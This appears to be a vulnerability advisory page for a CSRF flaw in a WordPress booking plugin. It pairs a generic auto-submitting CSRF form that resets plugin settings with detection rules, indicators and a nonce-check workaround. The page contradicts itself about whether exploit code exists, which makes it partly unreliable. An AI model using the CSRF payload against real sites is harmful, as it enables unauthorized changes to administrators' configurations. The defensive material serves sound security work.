CVE-2025-67472
Executive Summary
CVE-2025-67472 identifies a Cross-Site Request Forgery (CSRF) vulnerability in the Vcita Online Booking & Scheduling Calendar for WordPress plugin (meeting-scheduler-by-vcita), affecting versions up to and including 4.5.5. This flaw allows an attacker to trick an authenticated administrator into unknowingly executing unwanted actions on the WordPress site, such as modifying plugin settings, deactivating the plugin, or changing booking configurations. The vulnerability is classified as a WordPress ecosystem issue, as it resides entirely within the plugin's codebase and does not involve the underlying web server (Apache/Nginx). No public proof-of-concept (PoC) or exploit code has been released, and the vendor has not yet provided a patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed through the official WordPress Plugin Directory and is also available for direct download from the vendor's site. Users are advised to monitor the plugin's update channel for a patched version. Since no patch is currently available, the primary mitigation is to disable the plugin until a fix is released.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Base Score: 4.3 (Medium)
- Attack Vector (AV): Network – The attack can be launched remotely.
- Attack Complexity (AC): Low – No special conditions are required.
- Privileges Required (PR): None – The attacker does not need to be authenticated.
- User Interaction (UI): Required – The victim (admin) must click a malicious link or visit a crafted page.
- Scope (S): Unchanged – The vulnerable component and the attacker's scope remain the same.
- Confidentiality (C): None – No data is exposed.
- Integrity (I): Low – The attacker can modify plugin settings or perform state-changing actions.
- Availability (A): None – No denial-of-service impact.
Threat Level: Medium. The requirement for user interaction reduces the likelihood of automated exploitation, but the potential for unauthorized configuration changes makes this a significant risk for WordPress sites using the plugin.
Deep Dive & Mechanics
The vulnerability lies in the plugin's failure to implement proper CSRF tokens (nonces) on state-changing requests. In WordPress, CSRF protection is typically enforced by including a nonce in forms and AJAX requests. The Vcita plugin, in versions <= 4.5.5, does not validate these tokens on critical administrative actions, such as:
- Updating API keys or connection settings.
- Modifying booking calendar configurations.
- Enabling or disabling specific features.
- Deactivating the plugin.
An attacker can craft a malicious HTML page that, when visited by an authenticated WordPress admin, automatically submits a forged request to the vulnerable endpoint. Because the admin's browser includes their session cookies, the server processes the request as legitimate.
The attack flow:
- Attacker identifies a target WordPress site running the vulnerable plugin.
- Attacker crafts a CSRF payload (e.g., a hidden form or an image tag with a crafted URL) that targets a specific admin action.
- Attacker lures the admin to visit the malicious page (via phishing, social engineering, or cross-site scripting on another site).
- The admin's browser sends the forged request with valid cookies.
- The plugin executes the action without verifying the request's origin.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is presumed to be missing nonce verification. A typical vulnerable pattern in WordPress plugins is:
Vulnerable (<= 4.5.5):
// No nonce check
add_action('wp_ajax_vcita_update_settings', 'vcita_update_settings_callback');
function vcita_update_settings_callback() {
// Process and save settings directly
update_option('vcita_api_key', $_POST['api_key']);
wp_die();
}
Patched (hypothetical):
add_action('wp_ajax_vcita_update_settings', 'vcita_update_settings_callback');
function vcita_update_settings_callback() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'vcita_update_settings')) {
wp_die('CSRF validation failed.');
}
// Process and save settings
update_option('vcita_api_key', sanitize_text_field($_POST['api_key']));
wp_die();
}
The patched version would include wp_verify_nonce() and check_ajax_referer() calls on all state-changing endpoints.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Environment:
- WordPress 6.x with Vcita plugin version 4.5.5.
- Admin user logged in (session cookie present).
- Attacker-controlled web server to host the CSRF payload.
Exploitation Steps:
- Identify the vulnerable endpoint. For example, the plugin might use
admin-post.php?action=vcita_reset_settings. - Craft a CSRF payload. Since no public exploit exists, a generic example is provided:
<html>
<body>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST">
<input type="hidden" name="action" value="vcita_reset_settings" />
<input type="hidden" name="confirm" value="1" />
<input type="submit" value="Click me" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Host the HTML file on the attacker's server.
- Send the link to the admin via email or social engineering.
- Once the admin visits the page, the form auto-submits, resetting the plugin settings.
Note: The exact parameter names and actions depend on the plugin's code. An attacker would need to reverse-engineer the plugin to find specific endpoints.
Blue Team (Defense & Detection)
Detection:
- Monitor for unusual POST requests to
wp-admin/admin-post.phporwp-admin/admin-ajax.phpwith actions related to Vcita. - Look for requests with missing or invalid
_wpnonceparameters. - Alert on multiple failed nonce validation attempts.
Prevention:
- Disable the plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to Vcita endpoints without a valid nonce.
- Use the WordPress
check_admin_referer()function in custom code. - Educate administrators about phishing attacks that target CSRF vulnerabilities.
Indicators of Compromise (IOCs)
- Network IOCs:
- POST requests to
/wp-admin/admin-post.phpwithaction=vcita_*parameters. - Referer headers from external domains (indicating CSRF).
- POST requests to
- File IOCs:
- Modified plugin settings in the
wp_optionstable (e.g.,vcita_api_key,vcita_calendar_config).
- Modified plugin settings in the
- Log IOCs:
- WordPress debug log entries showing unexpected plugin setting changes.
- Server access logs with POST requests to admin endpoints from unusual IPs.
Detection Engineering
YARA Rule
rule Detect_Vcita_CSRF_Vulnerability {
meta:
description = "Detects vulnerable Vcita plugin files missing nonce checks"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-67472"
strings:
$vuln_func = "add_action('wp_ajax_" nocase
$no_nonce = "wp_verify_nonce" nocase
$no_check = "check_ajax_referer" nocase
condition:
$vuln_func and not ($no_nonce or $no_check)
}
Sigma Rule
title: Vcita Plugin CSRF Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential CSRF attacks against Vcita booking plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-post.php'
cs-uri-query|contains: 'action=vcita_'
condition: selection
falsepositives:
- Legitimate admin actions
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-67472 Vcita Plugin CSRF Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-post.php"; http_uri;
content:"action=vcita_"; http_client_body;
classtype:attempted-recon;
sid:1000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patched version is released.
- Review WordPress user roles and ensure only trusted administrators have access.
- Implement a WAF rule to block requests to Vcita endpoints without a valid nonce.
Long-Term Fix:
- The vendor must release a patched version (e.g., 4.5.6) that includes proper CSRF nonce verification on all admin actions.
- Users should update to the latest version as soon as it becomes available.
Workaround:
- If the plugin cannot be disabled, add a custom function to the theme's
functions.phpto enforce nonce checks:
add_action('init', 'vcita_csrf_workaround');
function vcita_csrf_workaround() {
if (defined('DOING_AJAX') && DOING_AJAX) {
$action = $_REQUEST['action'] ?? '';
if (strpos($action, 'vcita_') === 0) {
check_ajax_referer($action, '_wpnonce');
}
}
}
Valters IT – Securing WordPress ecosystems one plugin at a time.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.